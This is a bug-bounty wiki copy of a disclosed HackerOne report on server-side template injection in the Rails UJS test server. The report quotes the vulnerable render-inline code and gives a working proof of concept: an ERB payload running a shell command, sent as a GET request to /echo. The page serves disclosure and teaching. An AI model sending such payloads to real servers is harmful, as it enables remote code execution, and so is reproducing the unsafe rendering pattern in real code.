Skip to content
RCE Disclosed report Intermediate

Server-side template injection at ujs test server

The test server for Rails UJS renders user-supplied content as an inline ERB template, allowing an attacker to execute arbitrary Ruby code on the server. An attacker could send a crafted GET request to the /echo endpoint to run commands on the host.

ooooooo_q Follow

Originally disclosed on HackerOne

Informational View original
  • Triaged in 11 days
  • Fixed in 5 months
  • Disclosed after 7 months

I have found in the server code for testing ujs in Rails that template injection is possible and that leads to rce.

code

https://github.com/rails/rails/blob/v6.0.3.2/actionview/test/ujs/server.rb

Ruby
module UJS
  class Server < Rails::Application
    routes.append do
      get "/rails-ujs.js" => Blade::Assets.environment
      get "/" => "tests#index"
      match "/echo" => "tests#echo", via: :all
      get "/error" => proc { |env| [403, {}, []] }
    end

...

class TestsController < ActionController::Base
  helper TestsHelper
  layout "application"

  def index
    render :index
  end

  def echo
    data = { params: params.to_unsafe_h }.update(request.env)

    if params[:content_type] && params[:content]
      render inline: params[:content], content_type: params[:content_type]    

render inline: params[:content] receives the request value directly and can be executed as ERB code as it is, so it becomes template injection. (https://guides.rubyonrails.org/layouts_and_rendering.)html#using-render-with-inline

PoC

Prepare Server.

❯ git clone https://github.com/rails/rails.git
❯ cd rails/actionview

❯ git rev-parse HEAD
0fb6993f48bb01a960316027675f3f496baa2088

❯ bundle install
...

❯ rake ujs:server
Puma starting in single mode...
* Version 4.3.1 (ruby 2.7.1-p83), codename: Mysterious Traveller
* Min threads: 0, max threads: 16
* Environment: development
* Listening on tcp://127.0.0.1:4567
* Listening on tcp://[::1]:4567
Use Ctrl-C to stop

Prepare Attack code.

JavaScript
encodeURIComponent("<% `touch me` %>")
> "%3C%25%20%60touch%20me%60%20%25%3E"

Open url

http://localhost:4567/echo?content_type=test&content=%3C%25%20%60touch%20me%60%20%25%3E

Access url with browser or curl

❯ ls me
me

Impact

Since the attack code can be sent as a GET request, an attacker can attack a device running a test server for ujs from the external network by inducing a trap site. However, since this is a server used for testing rails development, it does not seem to have a significant impact on users.

The original report as published on HackerOne, by ooooooo_q. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The application passes user-controlled input directly to a template rendering function (render inline) without sanitisation, allowing server-side template injection.

Impact

An attacker could execute arbitrary commands on a device running the test server, but the impact is limited because it is a development test server.

What the attacker needed

Access to a running ujs test server

How it was found

  1. Clone the Rails repository and check out the specified commit.
  2. Install dependencies with bundle install.
  3. Start the UJS test server with rake ujs:server.
  4. Craft a URL-encoded payload that contains ERB code to execute a command.
  5. Send a GET request to the /echo endpoint with the payload in the content parameter.
  6. Observe that the command has been executed (e.g., a file named 'me' is created).

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a test server that comes with a web framework. It takes text from a web request and treats it as a template, which is like a recipe the server follows. Because the recipe can contain instructions to run system commands, an attacker can make the server do things like create files.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by ooooooo_q

View all

53 more disclosed reports, best first.

More from Ruby on Rails

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.